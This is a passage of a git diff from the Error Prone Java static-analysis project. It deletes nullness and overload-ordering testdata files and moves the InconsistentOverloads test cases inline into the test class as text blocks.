com.google.errorprone.bugpatterns.testdata; - -import org.jspecify.annotations.Nullable; - -/** - * @author sebastian.h.monte@gmail.com (Sebastian Monte) - */ -public class NullablePrimitiveNegativeCases { - @Nullable Integer a; - - public void method(@Nullable Integer a) {} - - @Nullable - public Integer method() { - return Integer.valueOf(0); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitivePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitivePositiveCases.java deleted file mode 100644 index 85bd3948e68..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitivePositiveCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.jspecify.annotations.Nullable; - -/** - * @author sebastian.h.monte@gmail.com (Sebastian Monte) - */ -public class NullablePrimitivePositiveCases { - - // BUG: Diagnostic contains: remove - @Nullable - int a; - - public void method( - // BUG: Diagnostic contains: remove - @Nullable - int a) { - } - - // BUG: Diagnostic contains: remove - @Nullable - public int method() { - return 0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullNegativeCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullNegativeCase.java deleted file mode 100644 index b7a69093d65..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullNegativeCase.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -public class UnnecessaryCheckNotNullNegativeCase { - public void go_checkNotNull() { - Preconditions.checkNotNull("this is ok"); - } - - public void go_verifyNotNull() { - Verify.verifyNotNull("this is ok"); - } - - public void go_requireNonNull() { - Objects.requireNonNull("this is ok"); - } - - private static class Preconditions { - static void checkNotNull(String string) { - System.out.println(string); - } - } - - private static class Verify { - static void verifyNotNull(String string) { - System.out.println(string); - } - } - - private static class Objects { - static void requireNonNull(String string) { - System.out.println(string); - } - } - - public void go() { - Object testObj = null; - com.google.common.base.Preconditions.checkNotNull(testObj, "this is ok"); - com.google.common.base.Verify.verifyNotNull(testObj, "this is ok"); - java.util.Objects.requireNonNull(testObj, "this is ok"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPositiveCase.java deleted file mode 100644 index 0621cdee074..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPositiveCase.java +++ /dev/null @@ -1,84 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.base.Verify.verifyNotNull; -import static java.util.Objects.requireNonNull; - -import com.google.common.base.Preconditions; -import com.google.common.base.Verify; -import java.util.Objects; - -public class UnnecessaryCheckNotNullPositiveCase { - public void error_checkNotNull() { - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull("string literal"); - - // BUG: Diagnostic contains: remove this line - checkNotNull("string literal"); - - String thing = null; - // BUG: Diagnostic contains: (thing, - checkNotNull("thing is null", thing); - // BUG: Diagnostic contains: - Preconditions.checkNotNull("a string literal " + "that's got two parts", thing); - } - - public void error_verifyNotNull() { - // BUG: Diagnostic contains: remove this line - Verify.verifyNotNull("string literal"); - - // BUG: Diagnostic contains: remove this line - verifyNotNull("string literal"); - - String thing = null; - // BUG: Diagnostic contains: (thing, - verifyNotNull("thing is null", thing); - // BUG: Diagnostic contains: - Verify.verifyNotNull("a string literal " + "that's got two parts", thing); - } - - public void error_requireNonNull() { - // BUG: Diagnostic contains: remove this line - Objects.requireNonNull("string literal"); - - // BUG: Diagnostic contains: remove this line - requireNonNull("string literal"); - - String thing = null; - // BUG: Diagnostic contains: (thing, - requireNonNull("thing is null", thing); - // BUG: Diagnostic contains: - Objects.requireNonNull("a string literal " + "that's got two parts", thing); - } - - public void error_fully_qualified_import_checkNotNull() { - // BUG: Diagnostic contains: remove this line - com.google.common.base.Preconditions.checkNotNull("string literal"); - } - - public void error_fully_qualified_import_verifyNotNull() { - // BUG: Diagnostic contains: remove this line - com.google.common.base.Verify.verifyNotNull("string literal"); - } - - public void error_fully_qualified_import_requireNonNull() { - // BUG: Diagnostic contains: remove this line - java.util.Objects.requireNonNull("string literal"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java deleted file mode 100644 index 3c14f9c5664..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; - -import com.google.common.base.Preconditions; - -public class UnnecessaryCheckNotNullPrimitiveNegativeCases { - public void test() { - Object obj1 = new Object(); - - Preconditions.checkNotNull(obj1); - checkNotNull(obj1); - Preconditions.checkNotNull(obj1, "obj1 should not be null"); - Preconditions.checkNotNull(obj1, "%s should not be null", "obj1"); - Preconditions.checkNotNull(obj1.toString()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java deleted file mode 100644 index 09b610f5b77..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java +++ /dev/null @@ -1,148 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; - -import com.google.common.base.Preconditions; - -public class UnnecessaryCheckNotNullPrimitivePositiveCases { - - private Tester field = new Tester(); - - public void test() { - Object a = new Object(); - Object b = new Object(); - byte byte1 = 0; - short short1 = 0; - int int1 = 0, int2 = 0; - long long1 = 0; - float float1 = 0; - double double1 = 0; - boolean boolean1 = false, boolean2 = false; - char char1 = 0; - Tester tester = new Tester(); - - // Do we detect all primitive types? - - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(byte1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(short1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(int1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(long1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(float1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(double1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(boolean1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(char1); - - // Do we give the right suggested fix? - - // BUG: Diagnostic contains: boolean1 = boolean2; - boolean1 = Preconditions.checkNotNull(boolean2); - // BUG: Diagnostic contains: boolean1 = int1 == int2; - boolean1 = Preconditions.checkNotNull(int1 == int2); - // BUG: Diagnostic contains: checkState(tester.hasId()) - Preconditions.checkNotNull(tester.hasId()); - // BUG: Diagnostic contains: checkState(tester.hasId(), "Must have ID!") - Preconditions.checkNotNull(tester.hasId(), "Must have ID!"); - // BUG: Diagnostic contains: checkState(tester.hasId(), "Must have %s!", "ID") - Preconditions.checkNotNull(tester.hasId(), "Must have %s!", "ID"); - - // Do we handle arguments that evaluate to a primitive type? - - // BUG: Diagnostic contains: Preconditions.checkNotNull(a) - Preconditions.checkNotNull(a != null); - // BUG: Diagnostic contains: Preconditions.checkNotNull(a) - Preconditions.checkNotNull(a == null); - // BUG: Diagnostic contains: checkState(int1 == int2) - Preconditions.checkNotNull(int1 == int2); - // BUG: Diagnostic contains: checkState(int1 > int2) - Preconditions.checkNotNull(int1 > int2); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(boolean1 ? int1 : int2); - - // Do we handle static imports? - - // BUG: Diagnostic contains: remove this line - checkNotNull(byte1); - // BUG: Diagnostic contains: 'checkState(tester.hasId()) - checkNotNull(tester.hasId()); - } - - public void test2(Tester arg) { - Tester local = new Tester(); - // Do we correctly distinguish checkArgument from checkState? - - // BUG: Diagnostic contains: checkArgument(arg.hasId()) - checkNotNull(arg.hasId()); - // BUG: Diagnostic contains: checkState(field.hasId()) - checkNotNull(field.hasId()); - // BUG: Diagnostic contains: checkState(local.hasId()) - checkNotNull(local.hasId()); - // BUG: Diagnostic contains: checkState(!local.hasId()) - checkNotNull(!local.hasId()); - - // BUG: Diagnostic contains: checkArgument(!(arg instanceof Tester)) - checkNotNull(!(arg instanceof Tester)); - - // BUG: Diagnostic contains: checkState(getTrue()) - checkNotNull(getTrue()); - - // BUG: Diagnostic contains: remove this line - checkNotNull(arg.getId()); - // BUG: Diagnostic contains: id = arg.getId() - int id = checkNotNull(arg.getId()); - - // BUG: Diagnostic contains: boolean b = arg.hasId(); - boolean b = checkNotNull(arg.hasId()); - - // Do we handle long chains of method calls? - - // BUG: Diagnostic contains: checkArgument(arg.getTester().getTester().hasId()) - checkNotNull(arg.getTester().getTester().hasId()); - - // BUG: Diagnostic contains: checkArgument(arg.tester.getTester().hasId()) - checkNotNull(arg.tester.getTester().hasId()); - } - - private boolean getTrue() { - return true; - } - - private static class Tester { - public Tester tester; - - public boolean hasId() { - return true; - } - - public int getId() { - return 10; - } - - public Tester getTester() { - return tester; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnsoundGenericMethod.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnsoundGenericMethod.java deleted file mode 100644 index 9bb682b702d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnsoundGenericMethod.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright 2022 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -import static java.util.stream.Collectors.toList; - -import java.util.List; -import java.util.function.Function; -import java.util.stream.Stream; - -public class UnsoundGenericMethod { - public interface Marker {} - - public interface Converter { - List convert(T input); - } - - // error below can be avoided here with "class Impl ..." - private static class Impl implements Function> { - private final Stream> cs; - - private Impl(Stream> cs) { - this.cs = cs; - } - - @Override - public List apply(T input) { - // BUG: Diagnostic contains: Unsafe wildcard in inferred type argument - return cs.map(c -> new Wrap<>(c).handle(input)).collect(toList()); - } - } - - private static class Wrap { - Wrap(Converter unused) {} - - T handle(T input) { - return input; - } - } - - public static void main(String... args) { - // BUG: Diagnostic contains: impossible - new Impl<>(Stream.of(null, null)).apply("boom"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/InconsistentOverloadsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/InconsistentOverloadsTest.java index 28a97ae6565..35389f6d257 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/InconsistentOverloadsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/InconsistentOverloadsTest.java @@ -33,55 +33,275 @@ public final class InconsistentOverloadsTest { @Test public void inconsistentOverloadsNegativeCases() { - compilationHelper.addSourceFile("testdata/InconsistentOverloadsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "InconsistentOverloadsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public final class InconsistentOverloadsNegativeCases { + + public void foo(Object object) {} + + public void foo(Object object, int x, int y) {} + + public void foo(Object object, int x, int y, String string) {} + + public void bar(int x, int y, int z) {} + + public void bar(int x) {} + + public void bar(int x, int y) {} + + public void baz(String string) {} + + public void baz(int x, int y, String otherString) {} + + public void baz(int x, int y, String otherString, Object object) {} + + public void quux(int x, int y, int z) {} + + public void quux(int x, int y, String string) {} + + public void norf(int x, int y) {} + + public void norf(Object object, String string) {} + }""") + .doTest(); } @Test public void inconsistentOverloadsPositiveCasesAnnotations() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesAnnotations.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesAnnotations.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + import org.jspecify.annotations.Nullable; + + public abstract class InconsistentOverloadsPositiveCasesAnnotations { + + @interface Bar {} + + @interface Baz {} + + // BUG: Diagnostic contains: foo(String x, String y, Object z) + abstract void foo(@Nullable Object z, String y, @Nullable String x); + + abstract void foo(@Nullable String x); + + // BUG: Diagnostic contains: foo(String x, String y) + abstract void foo(String y, @Nullable String x); + + // BUG: Diagnostic contains: quux(Object object, String string) + int quux(String string, @Bar @Baz Object object) { + return string.hashCode() + quux(object); + } + + int quux(@Bar @Baz Object object) { + return object.hashCode(); + } + + // BUG: Diagnostic contains: quux(Object object, String string, int x, int y) + abstract int quux(String string, int x, int y, @Bar @Baz Object object); + + abstract int norf(@Bar @Baz String string); + + // BUG: Diagnostic contains: norf(String string, Object object) + abstract int norf(Object object, @Baz @Bar String string); + }""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesGeneral() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesGeneral.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesGeneral.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public final class InconsistentOverloadsPositiveCasesGeneral { + + public void foo(Object object) {} + + // BUG: Diagnostic contains: foo(Object object, int i) + public void foo(int i, Object object) {} + + // BUG: Diagnostic contains: foo(Object object, int i, String string) + public void foo(String string, Object object, int i) {} + + // BUG: Diagnostic contains: bar(int i, int j, String x, String y, Object object) + public void bar(Object object, String x, String y, int i, int j) {} + + public void bar(int i, int j) {} + + // BUG: Diagnostic contains: bar(int i, int j, String x, String y) + public void bar(String x, String y, int i, int j) {} + + public void baz(int i, int j) {} + + public void baz(Object object) {} + + // BUG: Diagnostic contains: baz(int i, int j, String x, Object object) + public void baz(String x, int i, int j, Object object) {} + + public void quux(int x, int y, String string) {} + + // BUG: Diagnostic contains: quux(int x, int y, Object object) + public void quux(Object object, int y, int x) {} + }""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesGenerics() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesGenerics.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesGenerics.java", + """ +package com.google.errorprone.bugpatterns.overloading.testdata; + +import java.util.List; + +public final class InconsistentOverloadsPositiveCasesGenerics { + + // BUG: Diagnostic contains: foo(List numbers, List> nestedNumbers) + public void foo(List> nestedNumbers, List numbers) {} + + public void foo(List numbers) {} + + // BUG: Diagnostic contains: foo(Iterable numbers, String description) + public void foo(String description, Iterable numbers) {} + + public void bar(int x) {} + + // BUG: Diagnostic contains: bar(int x, List> strings) + public void bar(List> strings, int x) {} +}""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesInterleaved() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesInterleaved.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesInterleaved.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public final class InconsistentOverloadsPositiveCasesInterleaved { + + // BUG: Diagnostic contains: baz(int x, String string, int y) + public void baz(int y, int x, String string) {} + + // BUG: Diagnostic contains: foo(int x, int y, int z, String string) + public void foo(int x, int z, int y, String string) {} + + public void foo(int x, int y) {} + + public void bar(String string, Object object) {} + + // BUG: Diagnostic contains: baz(int x, String string) + public void baz(String string, int x) {} + + // BUG: Diagnostic contains: foo(int x, int y, int z) + public void foo(int z, int x, int y) {} + + // BUG: Diagnostic contains: bar(String string, Object object, int x, int y) + public void bar(int x, int y, String string, Object object) {} + + public void baz(int x) {} + }""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesSimple() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesSimple.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesSimple.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public final class InconsistentOverloadsPositiveCasesSimple { + + public void foo(Object object) {} + + // BUG: Diagnostic contains: foo(Object object, int x, int y) + public void foo(int x, int y, Object object) {} + + // BUG: Diagnostic contains: foo(Object object, int x, int y, String string) + public void foo(String string, int y, Object object, int x) {} + }""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesVarargs() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesVarargs.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesVarargs.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public abstract class InconsistentOverloadsPositiveCasesVarargs { + + public void foo(String... rest) {} + + public void foo(int x, String... rest) {} + + // BUG: Diagnostic contains: foo(int x, int y, String... rest) + public void foo(int y, int x, String... rest) {} + + abstract void bar(float x, float y); + + // BUG: Diagnostic contains: bar(float x, float y, float z, Object... rest) + abstract void bar(float z, float y, float x, Object... rest); + + // BUG: Diagnostic contains: bar(float x, float y, float z, String string) + abstract void bar(float y, String string, float x, float z); + + abstract void bar(Object... rest); + }""") .doTest(); } @Test public void inconsistentOverloadsOverrides() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesOverrides.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesOverrides.java", + """ +package com.google.errorprone.bugpatterns.overloading.testdata; + +import java.util.List; +import java.util.Map; + +public class InconsistentOverloadsPositiveCasesOverrides { + + class SuperClass { + + void someMethod(String foo, int bar) {} + + // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz) + void someMethod(int bar, String foo, List baz) {} + } + + class SubClass extends SuperClass { + + @Override // no bug + void someMethod(String foo, int bar) {} + + @Override // no bug + void someMethod(int bar, String foo, List baz) {} + + // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz, Map fizz) + void someMethod(int bar, String foo, List baz, Map fizz) {} + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsNegativeCases.java deleted file mode 100644 index 35f5ecb8c40..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsNegativeCases.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public final class InconsistentOverloadsNegativeCases { - - public void foo(Object object) {} - - public void foo(Object object, int x, int y) {} - - public void foo(Object object, int x, int y, String string) {} - - public void bar(int x, int y, int z) {} - - public void bar(int x) {} - - public void bar(int x, int y) {} - - public void baz(String string) {} - - public void baz(int x, int y, String otherString) {} - - public void baz(int x, int y, String otherString, Object object) {} - - public void quux(int x, int y, int z) {} - - public void quux(int x, int y, String string) {} - - public void norf(int x, int y) {} - - public void norf(Object object, String string) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesAnnotations.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesAnnotations.java deleted file mode 100644 index 2e7a698bf28..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesAnnotations.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -import org.jspecify.annotations.Nullable; - -public abstract class InconsistentOverloadsPositiveCasesAnnotations { - - @interface Bar {} - - @interface Baz {} - - // BUG: Diagnostic contains: foo(String x, String y, Object z) - abstract void foo(@Nullable Object z, String y, @Nullable String x); - - abstract void foo(@Nullable String x); - - // BUG: Diagnostic contains: foo(String x, String y) - abstract void foo(String y, @Nullable String x); - - // BUG: Diagnostic contains: quux(Object object, String string) - int quux(String string, @Bar @Baz Object object) { - return string.hashCode() + quux(object); - } - - int quux(@Bar @Baz Object object) { - return object.hashCode(); - } - - // BUG: Diagnostic contains: quux(Object object, String string, int x, int y) - abstract int quux(String string, int x, int y, @Bar @Baz Object object); - - abstract int norf(@Bar @Baz String string); - - // BUG: Diagnostic contains: norf(String string, Object object) - abstract int norf(Object object, @Baz @Bar String string); -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGeneral.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGeneral.java deleted file mode 100644 index 74b1634d5ef..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGeneral.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public final class InconsistentOverloadsPositiveCasesGeneral { - - public void foo(Object object) {} - - // BUG: Diagnostic contains: foo(Object object, int i) - public void foo(int i, Object object) {} - - // BUG: Diagnostic contains: foo(Object object, int i, String string) - public void foo(String string, Object object, int i) {} - - // BUG: Diagnostic contains: bar(int i, int j, String x, String y, Object object) - public void bar(Object object, String x, String y, int i, int j) {} - - public void bar(int i, int j) {} - - // BUG: Diagnostic contains: bar(int i, int j, String x, String y) - public void bar(String x, String y, int i, int j) {} - - public void baz(int i, int j) {} - - public void baz(Object object) {} - - // BUG: Diagnostic contains: baz(int i, int j, String x, Object object) - public void baz(String x, int i, int j, Object object) {} - - public void quux(int x, int y, String string) {} - - // BUG: Diagnostic contains: quux(int x, int y, Object object) - public void quux(Object object, int y, int x) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGenerics.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGenerics.java deleted file mode 100644 index 56f68ac0902..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesGenerics.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -import java.util.List; - -public final class InconsistentOverloadsPositiveCasesGenerics { - - // BUG: Diagnostic contains: foo(List numbers, List> nestedNumbers) - public void foo(List> nestedNumbers, List numbers) {} - - public void foo(List numbers) {} - - // BUG: Diagnostic contains: foo(Iterable numbers, String description) - public void foo(String description, Iterable numbers) {} - - public void bar(int x) {} - - // BUG: Diagnostic contains: bar(int x, List> strings) - public void bar(List> strings, int x) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesInterleaved.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesInterleaved.java deleted file mode 100644 index 56e4ff4c1a6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesInterleaved.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public final class InconsistentOverloadsPositiveCasesInterleaved { - - // BUG: Diagnostic contains: baz(int x, String string, int y) - public void baz(int y, int x, String string) {} - - // BUG: Diagnostic contains: foo(int x, int y, int z, String string) - public void foo(int x, int z, int y, String string) {} - - public void foo(int x, int y) {} - - public void bar(String string, Object object) {} - - // BUG: Diagnostic contains: baz(int x, String string) - public void baz(String string, int x) {} - - // BUG: Diagnostic contains: foo(int x, int y, int z) - public void foo(int z, int x, int y) {} - - // BUG: Diagnostic contains: bar(String string, Object object, int x, int y) - public void bar(int x, int y, String string, Object object) {} - - public void baz(int x) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesOverrides.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesOverrides.java deleted file mode 100644 index e4481b80723..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesOverrides.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -import java.util.List; -import java.util.Map; - -public class InconsistentOverloadsPositiveCasesOverrides { - - class SuperClass { - - void someMethod(String foo, int bar) {} - - // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz) - void someMethod(int bar, String foo, List baz) {} - } - - class SubClass extends SuperClass { - - 